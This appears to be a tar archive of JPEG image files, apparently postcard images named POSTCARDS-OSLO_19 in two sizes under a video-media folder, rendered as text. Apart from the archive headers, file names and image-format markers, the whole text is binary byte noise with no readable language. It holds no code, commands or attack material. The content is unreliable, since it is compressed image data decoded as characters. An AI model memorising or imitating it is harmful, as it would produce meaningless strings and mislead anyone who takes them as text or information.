o#U/ 72?Ua!i@$TIg(5;D|aiaCHd >h%`<ֆ^dby A 3$(Zt6$M4jGTS0soPI2gnpͯcGz`'8H faVSA}@;"y :)k4-(SVL!!J@(DB*@B UBBD("PJ n'*TY! ART@%L(VBy& IPaD P P(HQBidhZTL,gʥC'NWLzRiSi; -P& * ShO,7:"#rۄJ $nP3*}%B$~|T >H l検X Z`d>(P.p^($'nh<%0=/I2:@ ؠdHMo }r$wcR1"(쉹@`z(&PD4.fyS1aDx=/t 8 F4 s@j) ^%M 9^m#mqg%`f`,5QWVl|~D̡I*+iTp}!Q# ɷRNA>06)]SQD11r#8M `&~h13#oU> ec5WB S-t7%-gMDy XUĸʭKeT$,+E3P`a3\GUuzhdy&D[iTPd쵰`z,DF=)΢ ٧naCj\m;efgyo Ϛ~'QؗLrQn1&zw?~&z *Հ h'פFu/G!ꨩ⼸-F䎩ZѦm vGH(6LwJF-8g7$2=qCi ׹iuV=Ӧ'bB9 >^*8jz4> "Z6UAe>!kM 4ȋdurKLn?>^.DܠWKt5ډ 6P].6*.QZ$#LM0 k *\os̝PN!-ZL$NdlN(6j7PŌ`iϼ!o@q1ʬ.q;\ Yl$}A 7{!DE@ۢb@'NbN]$ #>iHpkmȕ-sA<0#if:(!Cw3*(+'M@8]]@m&b=cp R, [@@%1Xlm;/Ȉ @cU,LxܫZArPAwI+@q49R /niuT *[;E.$)Ko` 'X#;CtI 1s.s9B@ I%#HK>lc &s!!kI憸X 7 cdwNܿ$DbGtiq져 /'rp[LK`D RmFPChG1y2&CwŦ4̙us.AT:"\d7NѨ؀Gr~`!1` A0CZ߈A$\iqiA2uMs5,Vup'{^O)u9,K5,@qnu p˧xl dA9Ҟv?U$zx=@?D<@ğ,ŀO8hMF8 sO%v)ўHD ZZ2Ivn]P!`;F|.Vqx)4AFTxsP oH%w(dWExq> I ʡJQBBH¶0IAlTg' &hꬬ"2ƙAJ+E TBC!P*P!E QR!!!!!!!!!!!!!%zdETT*Vj! B(aO*e,PLRDOD (KQPL!!BJ*JQcp%j`4(&Bnm.CORLj5x0 =z+{SQ @0Jm+H5 ~ocm*p̡I p&|]Eܪ5$^-^m*hA9RĦu8c# CJrQFTA0X)m揄(˧nJӀd7PSXkRV%1L+05Ŵ,C)Dj,ԩˉPJ%))JvZ̬BR {Ҡ!KZK=6+F鞘*ED1 )8Nrs!տxs)#1m( 2>&l 49ü {a*,b ʮuT#0$Xs'I &i# 8U^oU~$9*0U4`#OxaMGhЀ"#7&&d|B&w:Kl0g>DC_UYX^[pnv<d<4pAEq1O͎Q j2mcGIy$9+a0"IU`S %W-$I4P4 L~vi>0CLHK@ ܋ y)q;(%JNM9N59]0"5 .q<ȜW `j6Œ?nv.vQb a  )wbb.a1Rjb0bpb@qd pZ1䠬 {cxP7r>̗jh$s`;@$"TgX Ω䑲;i  ?5 HN?%`"[-O4ħ&HtU;O@$}PDw&zH.$|Si{'FNϥ%Nr!hf-0G$Ϥ +wq׼!ٰ%VO$Fy)Pؓx6t > <['q-u=@$D1drKgsl6/UK 'QH&`@m6<l9H"bJpTD\n8G$gi|r)Fwi HrnqF];~VQ U%L-!PXDܧs+u@{7q {)CshBA¦mr2 o] O%mNC!U҄*%n]&,lP {#TsBj@u 6A($璗3*0W7!Q (rPPB)4"%'6!L$ridFP N'3OcN}=   8I=<2 L5As'XqeHss̠^@B-~8憙 nD!ۇLšCΡӚ2!#%C4!Q ؋fp]x3t!i- $NōdG)PA~it,P LKc ;!T@$Wt&0[Aɞ!>WyL`>SЄ K 'cZי&!6ڤ"Fun %N\$_`~-U K]$6Z\}-''F%3&}!1c{ [a! [3TrBFZ{ MsIi;(BsiZt3LE|X؉Ǣ]iB7(Bf$D@" H P) {ry %-a9uvB(;"fz  2(c`A! ޿OE@lP ѧAL6ƜB? [k #$.0)Tx U>-!~54BX8[NV ]ڈYHb M€x.[TQV]ap'U0.2*Z6("Cd!/X앴Z ~p=@;kȨApPABBPDvideo-media/POSTCARDS-OSLO_19_layer-768x432.jpeg000060400000110227151724237330014370 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt<+nAiuspꄹ.`y5qgl(ceMM+BX˶]P CxDBM죠^:#-PRԙu7ܭ,xB¡j> #$_n`dR cVo#MԥcOniQ٧ $bAghŅ 4*%+Bv[m hzfLsD@ m͙d~tkqkG^Z rpaqm/a02 eoaiO=Aӡgj:hd"ԇ,o3d|"Gt#b{ñA'pW[SnO]G6y)оol2F/%ln'N_Vtqn:bm0 "څ ; ژݒ E'Mu2ALG(5 I"zk@tl'e=$I@5%I%}@ADBdP DnbM"g *5ʒbEaIU&RÄG$\n?:n0ځj1mGTE{ uj)#Ӱ]'kAM @H;tg~B9iiY#uNM:fF~ke mo[,m1#4[oӿW:ZK ,p +GNpkO[-tQ,:w ՠ)c>,6Puվ'͚밇/;^%ǥ?~!;S}/Nl6'V L:k&2|9sJVm Y+[!6٣˘[ZgoO>/q$JC'}I(ߧQHd;&E$R`<@rR)N 7G2\ӷ.y ezN'kzc/'ꙣz>7)tm(h{*-KBFu8G''mCwYqKJ._(,N#Vљ~ce :F˼_8#ʿJ~r5bI\NU ³3w *phvBz)CxVJ0wFWK`$ʍ)-XsJPWJ}U͘gLrQ?HnԷkTMl/0x؝lmT5Js\8zEwR ӉD2iITDXH䴵6Vq.kjb:h4v_\l ^c\Z7]Wq|Ac17Yf/-KLo/s2qر|OfhM5-"oi:>X9M܂|/Om<7c皷24|I;¾/"9K'kG+`-jH AT @܎k~#"'S>O`"lW+IYNp1d!{ \꾒Pd/k1\:w GnH:mBiʾE0S,Ky5ыu/.t^zy E$d9Uh O({am]5y"~Ԙӎ+wLcH^P`=-.b4vòM>LoiOhϾꆋ iD 8l&@ ,Z}j@2R]l8%I!>IFL Q55 VgQ<(eB<65EFm"j=6QO ?d2͓"~S ])(Xo-soR.J z23\ߕM~u93Ÿt-Ҳ]_a>dM%ېF =oXho,X򙽒ۤYcTWENu,Wa>R\`  …*ŌӦ`?*6KFPӣmo$ [RӢoU%6 6g弆 meGcղ|q1k\ Wfd ]Ýa[:1M=c)M䜗Ou,rGVtc<5E++s$+t_X;Cby4kQp^&?dWU}׈S^'Ǒoҗg1cjF*N`nT3E{{{>Rhᵯebb܌MnYŒ)e7}56Mc$ry/Sz}34>,6pf+hY'Q}L%򤺲DC'3 ҦWDtF@_;QsJ5;µ sIirM|Ψ?IpBwtL#S~IIllg9[Uv47`l.Lk^O6QN8M/Rj"r3yVcJ"?-}ac ZˎWlxov.\gs:~N9NCI܏b|Z\ [$R5 J_ aC1s"ȪWK^ 7v/g^|7c gl;m;E4y<'>86Cu?@r6gÑ pp+մbف`D'`u;W03:@) 2zn ~Ld/^<#2 cwee7#3myNoOfl;j93vdC]ޓ-Lk:h~$/NjFՉ\c'+๭۩"FC\v*ΧCu\a-Z:.32#q pV.L:\ #\DWtNkcƞtX+q@- q˒9ÏkGxU׃]q͋'EWi)ԣ-왼RrTL@ A:ߔ܄.R@~>RHIn;7ܨJWdy N CC{%N"TjUi}O\e*,| +dm>o zDySPK@әӺyj\J.lvq~xSqDeg젊 o B9k٬ɐyfACv ^78qa9db:|򼏺ؒ5aGn.J߇<8ǙmBLN|2',t]!bz]fhcC@~qY S閼B뉂.tm뮶2 T_%*"puyt>|Ni\܆V·/C2)ţt:?Z$scڭuxyhs'i^1esjd:KZ7|/'ԏ_f doBW/j k+j<~ˁc)>7;c7 %o'$=o<جV 7U'Q%}<#L'%TWUЈ29e"֟c{.I~GL? Bvp)'M.06*"Vr\vf(8DB|4r,\+ ^ ȋ ފӊ;yVu aye"T {8-L Q\k}j^rdws')3QhwiWe躮^NrVoy䴹sxRn=_G8TnUwAcB͝e^%4jlst$c7е1tMᅟ{|츗:sM8w[Z ˡ;?˓)M:BH$dch 73#՜#x;'+y~kA;)8tt,"A N){89 'O\tEQy\~BA.;prK;}txHUXnKwvʜ[Gta$Ĕ"*lX*tEJ@D uTID''etE4VkqrFkݍqgb>+x:pzI8خ_'†e~ΌSOG:L~A!yVA:? Zw"<90u)],ngLs_0upW/ e;<}uׇj r??-]ZA{=`mNF-sPftc$+~;躻uH6,rG^^n[Xzscn>A陿DlFG[|F$8`+MMeɌ$?]dHWOPQRF&tg܏Mp`Şsaw$;NӲm;S}Bm>bGZcɶa!?5[^QjPFBJsv8R~ =)4rbaP<##@BkuA30CQrSspBJ~UjFv@zӇ*fq (u@H<*RvKJX(_JƃP/4J '蘄0Z1N7w(aUQȘB) >3i4k MsKQе?EO.KT>Fa-,ff:W{tUyMHָ+u͔v4|">iaO4Lm9"3eqQ W4O8 J9swexl9c,HׇԺLx#i o\@&럕ZCsšv $NE_ܤ]ExPE.1uxr8 |Ei=`8a# ;tP[w# ia<1JljƝ4kr=3uO {TdwH2* .z ҦxLxN*+j/wUm\ٗGN"_o4j5;m:) A|EIBSEvc}ࡿRUIПBF/9]y)R ng헳VԋGEP]HTa[/DZ=gN˘F8tON1h);JK{OXƓVFjnv+.j.SN nOv")-S9~H%'m.ކ2abQ];G;>X;8n܀%I1BQ(=Skbֹݮcwt8Xpv*)& [cˤJ;b2 ,w&|FK'5Dמ gskZ_&߷Zxwov5y}.o!U fw'v(.3ŤK`S?i+D މC^s)ϼu~9oGs6yKqkGD[hNSbXyߌ2WTݏiwdYqz!yL/-x#W^BhFO1TIz #c2vͫsK 㕅ݍfì}2ߚ.\niheoh:$c4BIJZwAVcΖ7NX]30uH1<Gzumi7 +׊;Y%}CmGd#?KcŐbT*ݮSPRiE3uQ<.=18)#$0t(#g@NQ|c!&  ƍrt]|7ե}us]HANQْGtO8 'GkV Cv\3 Um~c7+.#6I${&wHyE &i'(u6߲|kT`ɺ^K" w^f#)4j-Wf YkA-Vv@rVr9yl;*?ՐG~QrKrD`o|Gڿ4𿉦VXzWe_ få? |&{oGC}fZKuPrҺ˫C6?zPw[_=$c옟VXmTxص!RįWF =y^;/C %ٌ .mn+r[{ծD*&J߲3y+sf&8x5KZmwlfS27[K#EYgdE<ϔ7W|9\L(UZ<$-PyT{=#"ϡM+J.ҋk8WQSs7 .cGupTa_HI]vmtl: MvS^DVx]Q'rԮw19ƊҶ<ћNxUND\2peÛ{  2`duFl50 .% ,f}5?u iH%% U;_ 8+pn4nh5s0FgELiB)ޢޚ!F8kohqxU Q8,d,}Ab2A"mW%f/(#GTfלas;KC+$`oӵp2-)63ǏH>6Ĵ[k|U?NRcbޓ9&>Hȕ$_D}PaNt~ӕn 1(~3M7*Bf\oGH8r6@'Ze&Q@l]a{(c#&$R{ޔK6c9eYSZ VF %/Ԡ~>C+K]潽iZqB3X޾ȭL/s".lb i!EiWSH`7yM8]]q6ΌZ$4_5E>;zjQBɥ溮ZzAsߎuu{R›KKk=f)u(13N܏]f&nfzv-Z-/'%6 xqcPqbm] |ڿF;4Q=;Fa|waF㸞E3[.(xѻ.O*zXkе# YIıK{;J ~'2ʺʣ{9듫U98 aA5uupTE畯9f?Hdh\{GN2ӘHWGFg i O mm8 ?E¾TcwPۣgB zO{ hv\a>#i?%(WFXgS t@I\}h(S̿"ށN8Vj/fE2.~jaӤ G!ϵLm/~!ȐE}n oJ'/Hb>ٟmʂW;w4ySdqڿx?MBhaT^c OjNFEk 6N%랠uͬfXڡ{ɉlݯnǵ=JMpJ=m05GqG &fH-NLGCޙcyLb;m.{/W'4JOk>O@qw)iz~{e= kV>ʴf+sž$~d$#sJ>ΈKfo,=qGl,̆om]4匨1}c2 jBiVC3q:H6ܩG+S/!k,qEeE?g18J(V"R +.(|W-.o5{@,& tvyC|sXrn.v\OwHqYYtvw*ə#g:7ߞOj+W=[t׊oY-NC٢ꌂcNh$l*]bMG ľ=%7;خm::} oKWײߖ!d>,]o`!s%#W}5ږLSGտ7V{*RWf n-VK84xmK,/5یsk\XMU78.|EGbk< _.A=8a*y ڸB!W`Ϭc]8H@0ɸM5w;Vo wS2̯@@+XEY]Nfaxud U:xLe$oQEr9/f~"~FsI<,\ ݫb9v/WbM{-3PgM]h{(*J/JEpmG*M\c\:a4V) X61hˏ>E&]TiӱvhL#>|y]#ֱۅm?%t#Pԧ|WtNVZod>ڣ d@iZA#PPASaC+lW1*,n= dmU^y*]_(n;TƓ }JjD el>mJau ]coȖ4NElfcu8QQo, *Sl:2Y;#uUF}*M4Tou^4[3؅hlA@yt>[2V4Py8d\%[qNIA\Dx`mec>_H^ VǤ(C.YVEM.Đʮ7t[ӷZfdfV_\8u=D0KJ j' @'U"]A)[:Q;? GZI;nAkwn21 ܨBvs5#i7,wBs(YY\-G'^bR#H-^wB]Dg3}әF>>򟆠@Ɍ8s1ڤqj: xΤէHM,܍pJzy 2s3RDz4\ç*y/y[I$L)8L.H܈EV]ux_,2+ǤCtI{*Jr 17O <-,kGׅd~LFL#uxzRR.bqÏ*RF`Y 5k;xnA˔n Z.QvlwDe} (Ҳ 0Z,q~; eݫ:\x~Z6T2͍R:6 n;fi2W7 ymp_1F) g{-N&1DvS# ]"E;6kw%teʞV='ZK%~u8zgt˶ݫy~@yَ\䃌(Hw'SesOu ?c{Ŧ.^k}\FwWSnx>6ṛdgU2b\h ح|G.g4vDa%9(l~k,%nYq'ؠor^,dOaӈiZhm( g~Q:=>9K nO \{[E؆=TM͊m_D,CcZ~I7)H+*k")?AhxE0 Owĝ MP}Tw-+6m3P>arII-{Z>fnV;\N ,~]~#py{ \wt<*㝦h5 :nj'Yy,mҖ{M_qg8q錸ǣGQ_G#UmHOJ,tGG3&ҟJ(hisgT4E!mcG 'F\{Ҝ9T)mZL#xA37os;㭐GRˁ]h- 2};xQ*$Gj1q'ԊQ =*l;(& D10ux(F ܢlϦ`Ys?QJLIsfD 9wNo\T#EBcqL>}ԤQrȘ"qNpj4 &'d(Ca 5 tx'v\WAedu3ai4n)6U-7EuuFKz]W`q/q,vUѳB7i`k#iidV!C;6٭2ix+]T:2^*R^4wl`wiD7|Ҋtdk_'Yq.;f|RhEm'\qr>D.v.^]jf *7s]^^ˏ KU>82ؿyz,xbk[2`֟+^l¤t{x0^[.*l}F9t>N~K+#$Ǜj=jQ^ R eZSNIuj27l x&G).ŸKXrb@#}OprHl 69SST2HRQO-.(`yQy#:Q$FE\8NMYZl] |)a#oucYhJc}Aʾ&QGM”tL6QSCT1X㺛d(nܨ;dIH]Jm SB Ӻ( 0n"NEp;G=5ʨN&{wNO+򏨪Ҳ,4lX@vE (z\H xۂEtlH:Y'}t? 5'I}6(lw}Xіa1iiduHJӋ &㻆+[Ζca@Srg9e?}Og1Kbk~*1u#:bAur [濠=7V{.錑e!b7j3nwF-&GVG'Utr_{%^TY9Ngc56XG+͟Чtnh'䬟5tS()~64wX14ܕk m.Q6ny {KOe dz'g4_Ltey v+_;zN{Iaܪ,}Wg[zpxk]~?HIy$8I&НB^"Nt,lӛ? "w(cu3({\Sm6O-۬J| Zh.SڛD . ghrI\鄎3nuu[[@/A*<&MַĮd1mwFԚZ:? ']_]Kv's>{.Om&mǢ6:}&,IP& 7` cC/7w`?#+]_27yND@NK]hWf2PB5yE|'k>8DgFef?ɗ1hC[dbұv%cIF%4z쿱.]?Ll+:pp+5Nb6=J|kY',eYrK62d9 R$YCgԯˌTY{ G0੎T&ࡄvUU~mz4h,gZ,>dCu}'R2Ke8'C?<1CeIe9ZWInV6?=#p (Zt;\'IYM fFul]_yߕ#Î[ 1ܫ%6$Q<DʇX,c^d66gϋ(@)' Fvw1Nm74")rؙq\ Ip4t]2.FssLM }Օ"R-5aCFpo6[@msuKS<8mT ;4' 15\L1΋ÔL6~PfipZDg.( fpU0WumC+x;:/(r|ų |ņU}&?Q~l??Mw^C>=7I+ȭqNo@߱[AVb-lMFsc'e.9U싅tձK-;t|6oR;4GIpM]ppj%4_3l5 -kQC!qGvT`utqgM6 Ncn0"Wt`BCkWCW„-OTmm{~em p![6.GsNxBto&&ةc>-y8? v`Wxm`ެKã[(ڒ#2+C!7T0 ǰM6mX*V^,SzRoթcW#:yLDr$1eqsM&qRzb-4lLS# ]DC#8 ~LeG~?X<|pJJLdӥ] WrQO7ܬ~UrE!-@D읇=a:t9B+`m1KQOo`j4ǹFQʡ;2\]EG"-t7=LTx")ǹAqVCњ7MEg!tDe+ q4g-;28#FQ9&pG34m 2Z!ﲏYlM$F B'Xj8㐳${}LHwEicA6Fi9(6IcI_%a{)!Ē\lǘOeSJ_##5Lx9#3Z^}K).i<43{g}? dgÒ@Y +1hA ٓk֞7 IɇƯ 1UqErI9f=YPd~&U4͟ 4?UcV;85>4G$3/)$)V75gIW)xHx]c2F`kItR; ]~61{0x.VZ׺gÂ[c埧ΫWblr73Y8b.Dts LsKĸ0b r):={VqvV`pN3awU>NMC*|Q}ӛ,-K^n;Z4õUeS Ilc{.9]tFt{hӾ=9kp$UG3ajuّO"2rds*S8Sc(HnNˑ4Кe lQg5gFhR\O& WЇOѺu^VImfUZg)hmoT4o- R`#b4yL2 4pl+uDY2ozOq\xG7buqh>ugI+ S]v=.\dK+|aG,I#-Ҽ>\;lV]ۍ|C +K `k I:.8e]O航shf $%t$q6\&mšvT&uP7W=>NZ1|X?;^g< 6]@/5n5-'?h@E/NۘKCcd1_́?i4~Kk%$cP0jjz: AErI,zg$ ++$lAI$@HR*V1>aV9Xe\~ɓLeIܨt'""?$1oLz,!MEB5%=`IJ]dVR9Ewh"I Cj#D{NCTJ,bX ,hjНkӼ,WWб-:&f͸[Ul7]D\O-~mGlWӫ{'TxÁsZ+$#lϧd 4Ow[22D|'tǁgڶ>BcIoԧ(n;; ?2nނ4;m;Oױ+)Å^&ć&`%QI)?Gf0s>mAy7tmQ!}G6asOcmuۦz09"gĆvK[ɞLgG.t} ɕ,#iғV{'QIԇ))hrpk\x#720\MEiwrE<SG}Xq]^x7Gm.]dwt8X~wD.73ϙrnW1siޗ9\Z3ﷲQ6YnMO-lba$&[[1ҳDqqgq1촭8t3l +҃C[ɳ‚. -Imeu, Xc.|~pFcp׻hݮ?(Gzx >j+eIi>>q*Gc^[YܹhEIwJb:JMMޯS>$^0d 頼!JZNL.Vyw$aK>xVB\ͶP^n4~tdsj6'E.AmTPR pчy ^{CWd^-r؞?8ZS@+2CXzoot2yXZ1XkJƆZ4?V̦<6`WH{Nj"p$KOA{څ'&uՐXSVH!I$Q(pT}3ST$ultIi%HEFH)@ED)(yIȑh-7Ԍf>-Q>j LjX F:~ɓ4M=QbMcB7?ŭ Ub`ZzHSKD\M!#DZo{MVg2 mD 9Cwc;r/jT=jin($;.Fҵ dip;a?[tb>{.\W 8Y@esqO]4X]׊<;Tb)9U%jQm;y9 #um^bߚcs*V< QvkbL3 ;ܧ%]7UN3sE$)C^{)/I5l=^8AhM.5 A ebL!kȰ]N0&yoNiv:k^ϘI&0obyp쳓ϚsBy6INs LDžAR7.k&c𜇧NI#?Wd 5s9_Ki# [hHӥYa{i+RK,9+'Ɏ׵cEUarul_)`vy:zd^- 1k I ;8v\^|hm/yyUUsxrs u/*]xL+'V4=]`Ol4/d8ﲻ kbU$Ξ=Ml[+huFlU)˳'c945€m61E3!b$aiv?ӛt_$>w~~u| we6yXq8rϕ#'urI4;7w`d8? G9 </7˵:Nzڸ%iŞ 7ا$"C[; dQ%6:HQh_SαNK0h\XWub#rkZϺR89IG<. {(I\\kY.V}?NHL-)pZ&>K %vnܸ'F!qx4}6DQŹ`&?Qf96:AA;|IQxُ'/kMiÎ6S܄D}]uo\qzL6jʾTtB{ RP@6o2t#~K!f7y;=uݨerca$l }#ER l:Z$~ԲavՏ-YzS`Ա]쁧|]1tngc xEl}r AW!14n,䤒ec2tIzNĒI 8Qv,frT҃L$'YK>ecu{'K)"Kg;X 'rCT#b@G@r>8"Iy~& TCdkD-?B>#bFE+SNnL~!@et,lhAI>{'0J|>G=lYśgx]߄s]-(,~%}Ys)G-Е8|pfA^ gx|OczW{>!/ss7A lpY>[dgy_ljg#W 哩iJ㣱׻q,x Z}C )>'{K }%+=8UaePi\7uZP84 zQ@UafnWEϲ|Ǎ\^\,`.7! I,QG`X={p0Sk Ildu,?K*[^~MÄW, >9Ž×~^mgxѴW cs$<] /iT#Qӫ\H3 S՜7CutF Lc6xHKw qX޾EmE>f~y5g*NqwN=CGT,^ƸUb{nr9;yǮ3_O,*u)?N9_eέl9QVG +dil'X?6pk5N_[9L|r4ٴmVA$B4(sKA{#7їɾ~M+p۱]yvI vZĐK]p1vfEs¥>la4->s:'V3$3k]`>`ܬ^y\biN $=$~QT\@m$~*a.[kQ:Ldh$d' HpS{yv+:U{s،KBvf$ c^Ga΁pxRn<*Uc6 *Iwq.0rJ5hNK'o?'Ƥde.&C g 8BQs1ʨӺ)EuN$K31ڗξELG׿B)="$<[&I{q$I`è ܬ5 7HN Rt5%I@XmjE0@$Hw OO Q(:RpšoG P{QJKI QքaR,ȴX2Wt& FkH=`'z!4fGmKH+7oj`"!d Ȑ`oQFKOYH,=9]^.jIH<@joC/h;Y9.Ȯ8$ p ЏriÆo k8T,dm{{,IQu5τT$lyh{K$!/ dLG2kː 'ۭ21Qd>:fisbiOlEwMrc(5`cJCK-A]H{rUYOG0L雳HIœݔuugW|۩mKFS"nC_?fIM>AtxfPsI6t#2C暰ԱSLhX/9ʞKOMB']ӥH: kΎvG 7ZZ}2^ᓫfQY#d{)&:J렭l<k`8ʻX:9 MO|\p.TƝ G+^-+/V~>63ujRdBsA6; u4p7t=n4BOx?3@ahpg_;rIsZ/+O_lSIzM~ydb={KH^v.BFGKWk$/cdڭ}܇ w pLG)uwm/͐I5Hؼv՚2I$RVz +p~1SF,΢-E ^~3t%lsKio>'D*xot&˔S#$4٫:Xd͝MDZ^'Anx%Hw$8:`?md7-Nj?quQ{ifBh ,F(t<;at`YսyȋxN:8 ͎GVǍ\NRp)z铦*=p(V2I$I$@ $@ $@ $@ V¬ COiiXȟbղJDO) a PH(4|"GDw蔋,\,-)ʤ{i䖍 N.{+[8lߢG0hՎ|9e{[(`A+dԁ6 z{2BA4eQ"o*%w@Ur({@?U(mkJ#((pʕ,m)2 4U6v,/F$mg} 3NqwB%{i6 GK8{#|)j.p-%eSM̧9 32Hq S~A0k]lk8I3*&y~WI<MkȖI”1'`٬djrjs!;-t#9%~a;UUC@Ӡy&44 1C+n,GqpnvT_tb/Hu#~ʨNY9/rϠ)>SĈm? QsQHݔYJ*/z~.#|'!Kc0Im)71)+ny=Ur '旳~cLm|+:6Jy$Ǒ[at~$7fkҌ\c~KL>[MINxE]<8\S$BiI#un鿲ss0X) m6Oh sߤiZĖp'齂&fwqNMjlc;W(Iu١D\.u8 *)S-q1=IrDY,)=R;XTfW*:颒&9PceIފ'aH` K"n7bR@['pE<<(BlL |1vE %wWPw>d8/~EsQ{:.R1VZ)]}%!ŽGv {w!փ?[۲duD[nD1,FK)i Ula|G<}!qp/eSSɚ'l!yWck2\o9߀ri vKK ,XĒ[ W3L,Ki+ǔ>x4K>-$/X}[R"&l+ɗ̜b@$8K^. 9R<8[gH,n{y 3$\!X\l ikn$?+Dd \k6QmĚ;3_En^.J9MyMZ|mFIFsǺME& Hq u{`/NfqJ$52Lڳ /M.9>ʼ4ʫu=ЃK'#mD,hds.# m՚_״-+Ad-/\.uvO"zÍ=kwn>h|dD !h@zŪG#;.?6Atg\NrTdd <'IGd%x $X8$$@ I0@I *;Z(5TJDe)=@C)Jh;LA8FaD-?R9) Կ2&a2XUsVm۪vA+Gmt;)Zg)5ZB @r)g'1Wol{)7"EA(H;*uп zڌ=C?vral"oW(RՋ #iFg-}~K˓t, ,e??zuƴt W,ecEJئh) Cv f'nii _!d"#>2md=ȞI\6]ȄWWy.yC,_mJα+A$i0#i='7ܭpΜ\(lX--MFfGꖉu{-MWE+r)#fn[ČٴB^<< 8ǓI%l3B[esMQʪdȺlN"Ԁ#e*Cu XXfJ޲/u`hbCJ$2Vgz[`45MI6 zrbuw6}}r$$G@,:)~p=i fFV4zU VPYV e(< +!H Q9_ǖA Pc\v_o߅0dʫUQp`-7@lZt`hײ.њԆm@L hoAB|y,'瀣f4j0do`6f7q(ϲ&h? j[ZdHh?]R30̿AxmtglQm2;vMI$.}3Pac抪ydyA[ϣR3\ ˍ0.]5F?PB\l>gj }N;n!ۭEܥaaH 6$~]WE@ݕ~`LX""I=H h옉 $I!۾^5%V1= G$:d:dTJ.YIEI*Y~ʳxAr[S%cS0a` 7hP[4="JZFCO S#&» ZlXlIuZ̉9LQH&awMw[bVϚ> Z0reb8*K27ji'*9ܡُzX,\ueeVcJa{bs`5Lcri!Bzi>8qq4JJ#ϲ1Zy $s04V6ƿPkX6%v>$%['QNw9t:&OߺpF#ŏKM#P5WK,7B scwKwYCsHfk(^=ztdG A姃qA1Gss(C~)!lx煦IQ8OՖ7cT)g|?4~Vyo.,(FYD|[ocQotia>ʍL0 7ڔgc~U,._g[E?fc؄EHZ.U/)u=L\ ] q+>KzpZ7-2#B,|+MŭJ d=7Tz1J] =lk\_@s$DUcNʩ1I%P(ԓ,f&N,I$6J wJ@ 5'I I wVo ϡdP0NSRV85+NCPu&4 Ԇ[40E&lD)oZ(J BpJ F4r5퓴QEvU 4MBhxHKWR Wt3эޑk1|^AX2q1UvE?70j҇iovȡ =u_}`;} ira5+@6ܬM9 Xމ6&gLFmpٔ 21n"36F՘w YtcW*R7<>޼_0 d=q7M~.7C[<G[cs{,][S|[ZOI;q%WԦ7oC7.<ތKo4\dst?-HfňH&Ld z#YվG@mFƞIP_uQvs#|E qԋsacDR_1P(W7'i=()5Ā:Jnd}5Bo!q(mVWA{hsw*Wv{|!N#۴S1yKIz;wh6QNH'f*OPuA]Y@Gb?;[@hrN^ /o@KZG'lNMn{G+{7ZeeN Qc;*'3@X W긟Lr26K$(qSk6`r~L d}#EҕZp>ր#?G)v$71}LßeuITc@"1 R*Ma}¨ú1-<4qpi=>úH/j*sʉm!4}50w7ߺO e*v +@vXq~C[ ٠_d[,m;3 EP/sHRѤd-}/<ɖ kC Sz0n,+cG,x39U7F$K}.#U(ɠl|#4}fl&g<'%,mtT ^1a~;1<Ev"`}@Ǥu~omjtxc5joy&e&o5Z,7(U駾4Kq!1 | uG{T#$حP]q˜t*td Hp utwNY]'`ִn|lWsA3lQhbQ@ w|u[hNY@] %p%*u5w $:Q۠ ΆMBȌ4 xmn fzfIU)6U#<ǗnLl:ɊHq_t2;3$mUֹe@:Wy$UR0Ң1V84rQtÔ3PXhI*@ $@ $@ $@~(CY~&C!f줢}= ߝ&v;ԠHe8ZI+J*"rNi KU.H\lcLBh^ lAS;xXR잷.6m'`A>ۄSTNƫe,v#ajVB%8);&[N;UH.<4 (_iQ'ȯc!qvDmV~:X6$I>ʫyV*W2Ӝ6/Q,vzwug焭{wI a(쇔G%*5#>T$a}|}Nh%{:6P&b l)<:0/xkotd7B{%`\"W!ߺw4R}iC&rC~(!崗%/vh"'EXhA\Z`FO)hm]P%xj${g( kkuHm:Nut;Z`oznyH6|V#RK R,ۊ@ ѱ8v^GH672֓%Nm'9[vH=xYmCj;$ؚEw)oHJaإ6vߦ?ȿVp(C$,#h㒨懃{E(@iM2r"'ƪw[YGΟsG *P qcDlc"7M DK}qz;*omK'nZL*+7FPX}*N_.һ|zh*%x'|_ѯer[-/s?iI!I>z%ʪɎ~=]wBR,8c4g5' 8%ד40DH;~+HܡU,<޴:/0YEi"(; <~ت|I ]WFT,n,ffY}AcqPdOK@`bSN 2Be zR+bTI~(gx$<$֥s23( BU(w8دh*d"HϷAQIH]~Wno9cj\JnԺح66n?&f3r01Iq^]FOaos5ɸv`e, gTtf-qW*[h˔RvE)Np۸ Sm@"rSUpܒ~bYHdްJR~S{WNkriAb?ey?IQPڽH6Ʊ[[)5VkkK0Y}1^]0OGP\,gOe _%e:`RB;3RXmXbWdUVIXpԗ2.֐SZks#eߚhT7locv&Im񁊲ͱ!wSXۚBV7h48]5h_?(Z>x5zKgwP"aU-}~j=GPgIa@Jm{[V> =V^JmGJkܝ{[E4I&A⢭vA-btфan[P%򄏷p[OYZ 7ܟi(caTU<[+rrI:.%3(H۟qZYcS¥osj CRq`"m'׎qLx\}s^_]՛= ۭAcs1yX*^8%|8,Qimtsm;b<~5AeM~9KAVt+3O@8㫜>;D&0;cxJ=͸)1DȄ5- i6l>2ڝ$e4d7SBW'JEzTHrڔ"{QPMq$FFG}>jmoἹܱkEmv]+SY`<~)"aqXnsQTi6Bm;B}yqԾ4 Xv>*.OFkdTF#);SSU9Õo!sJ=~mt҄70 Aɨ`;"3+N䃜޺v>O_R0W9>[H.W(f\wezn` wPEӚx5-= xV5]SIR(tVnOls{޴rj__<;?ޕ+Ze*S\箺F)IXzrg ۪SԚC)>O5?.zc(Z=ޞCwnUv_ƭ~ax$fEwrG_YڍF2;ӧB[bivmE&{9)u %#z&`A=E+UY=_GHQ81u~=ǰWp3ϽaL72znC'кǡ$)Ƃ%wf*K;FD2p9%r0Y-h";s8Q;4ZOq+!9]*)-{VXv֕ wqʢG><zG&*<.~f.X eɻqjT6Y626+"rJ"YrM@r*"~MIm#pb=R ; [k`yV% *T{Ck:G5&GVPЖa_@Ua28JrUm Ф+ 4FBM*Tmlэ=JT6;lEX[IɂqJSn\hZx#<vW84R>?video-media/POSTCARDS-OSLO_19_layer-1300x650.jpeg000060400000253275151724237330014444 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt>0K㺜a5/<gWZ13ն!@#OW=0\򽂝VVd3Dz3";x^9IguIƭzWdfnOq*;;;[IU%%{8,a( bZFa(Rv=JF gL.0ҫ쬻*8L$BJ=l[lnOy`{.NnOըc[;E_t*}F4T[Vsp-1/ZcEA!Bоahy/]~>F0Qg{e:K+$ 